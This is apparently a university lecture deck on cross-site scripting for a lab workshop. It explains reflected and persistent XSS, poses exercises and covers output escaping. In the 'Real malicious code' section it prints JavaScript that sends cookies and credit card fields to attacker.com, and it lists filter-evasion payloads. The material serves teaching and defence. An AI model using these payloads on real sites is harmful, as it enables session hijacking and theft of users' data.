Cross-Site Scripting · CROSS-SITE SCRIPTING (XSS) Most dangerous security problem in 2010...

Post on 30-Jul-2020

5 views 0 download

Transcript of Cross-Site Scripting · CROSS-SITE SCRIPTING (XSS) Most dangerous security problem in 2010...

Michael Sonntag

Institute of Networks and Security

Cross-Site Scripting

SCENARIO

This is a live CD; unfortunately in German

Just create/import a new virtual machine (Linux –

Ubuntu), and specify the image file as the CD-ROM

Boot from this CD-ROM into a full Linux environment

Web application: Browser is already open

Navigate “Beispiele”– “SQL-Injections - Beispiel”

You end op on a “Daily poll” website

Source code: Desktop/WWW-Beispiele/bsp2-3/

Or: /var/www/security_workshop/beispiele/bsp2-3

CROSS-SITE SCRIPTING (XSS)

Most dangerous security problem in 2010 according to CWE/SANS

Affected companies: Facebook, Google, YouTube, MySpace, Yahoo,

Twitter, Visa, McAfee, Symantec, Amazon, eBay, PayPal, Sony,

NVIDIA, MIT, NASA, ...

So practically only companies knowing nothing about the web or

security either…

Attack: Injecting malicious code and getting it executed

This is NOT a typical injection attack: Injection attacks normally

target the webserver. Here the server is completely unaffected

Still it is in principle “injection”: Sata is interpreted as code

Aim: Client (Browser)

Transmission: (Mostly) via the server

How the attack works

$value = getData()

HTML

. . .

$value

Webserver Browser

Malicious

code

HTML

. . .

Mal. code

Attacker

Malicious code

Almost exclusively JavaScript <script> ... </script>

Will be executed almost regardless where it is on the HTML page ()

What is to be captured: Cookies: For impersonation

Reading page content (form data) and writing page content Vandalism

Phishing: Modifying the discussion forum to look like the password entry page,

adding a “verification by TAN” when posting a message etc.

User activity: mouse movements, key presses Stealing credentials, credit card data…

Local resources: Computing power, network connections (=inside the

company), DoS

Example 1: Preparation

Take a look at the web site from the SQL injection example

Where does it accept data from the user?

Which method is used to transmit this data?

Does this data ever come back to the user?

In „normal“ use?

In case of errors („malformed content: ….“)?

Which data will only the current user see?

Which data will be seen by every user of the site?

Kinds of XSS

Reflected Via a link: http://www.host.com/view?id=malicious_code

Code is “reflected” back by the server → Somewhere in the output

Common (e.g. Facebook worms), but comparatively „difficult“ Especially regarding exploitation: Every victim must be induced to “use” this

specific link

Persistent Malicious code is store on the server by the attacker (e.g. forum post)

Is delivered to the user/victim whenever a certain page is visited (e.g. the

list of forum posts)

More difficult to introduce, but then very effective & no further work needed

Example 2: Exploitation

Where can you start a reflected XSS attack?

How would you attack the victims??

Where can you performa a persistent XSS attack?

Who would be the victims?

Use only the following type of „malicious“ code! JavaScript function alert(“Message”) opens a window with the text

Real malicious code

Note: We cannot test this here, as we would need another webserver

reachable by the network Where we send the stolen data to!

Stealing a cookie document.location="http://attacker.com/steal.php?c=" +

document.cookie;

document.location="http://www.targetsite.com"

What you can try: Showing the cookie Put this into a comment: alert(document.cookie);

Stealing credit card number document.location="http://attacker.com/steal.php?n=" +

document.forms[1].elements["cc_number"].value

Some more tricks

<IMG SRC="javascript:alert('XSS');"/>

<TABLE BACKGROUND="javascript:alert('XSS')">

<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>

<META HTTP-EQUIV="refresh"

CONTENT="0;url=javascript:alert('XSS');">

<META HTTP-EQUIV="refresh"

CONTENT="0;url=data:text/

html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4

K">

Decoded: <script>alert('XSS')</script>

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Just garbage that is going to be ignored

Preventing XSS

Output, i.e. cleaning the response of the server

Fixing the character set: HTTP and HTML header

Allow output of data only in specific context

E.g. never directly within <script>...</script>

Encoding/ Escaping dependent on context

HTML

Attributes

JavaScript

CSS

URL

Dangerous and often difficult:

Custom/self-developed filters

Escaping HTML

Problematic characters: & < > ( ) # " ' /

Escaping via HTML entities & → &amp;

< → &lt;

> → &gt;

( → &lpar;

) → &rpar;

# → &num;

" → &quot;

' → &#x27;

/ → &#x2F;

Display in browser is unchanged

but: characters lose their special meaning as start

of a tag, an entity etc.

<script>alert('XSS got you');</script>

&lt;script&gt;alert(&#x27;XSS got you

&#x27;);&lt;&#x2F;script&gt;

Example 3: Securing the application

Prevent the two XSS vulnerabilities we exploited Search result error message

Forum comment

Some functions you might find helpful str_replace(searchArray, replaceArray, data)

htmlspecialchars(data)

htmlentities(data)

filter_var(data, FILTER_SANITIZE_STRING)

Strips tags; optionally may encode special characters

Note: This will only help here in this special case of “text on the page” Other locations cannot be solved as easily!

Especially problematic: Some HTML tags should be allowed…

JOHANNES KEPLER

UNIVERSITÄT LINZ

Altenberger Straße 69

4040 Linz, Österreich

www.jku.at

Michael Sonntag

michael.sonntag@ins.jku.at

+43 (732) 2468 - 4137

S3 235 (Science park 3, 2nd floor)

https://www.ins.jku.at THANK YOU FOR

YOUR ATTENTION!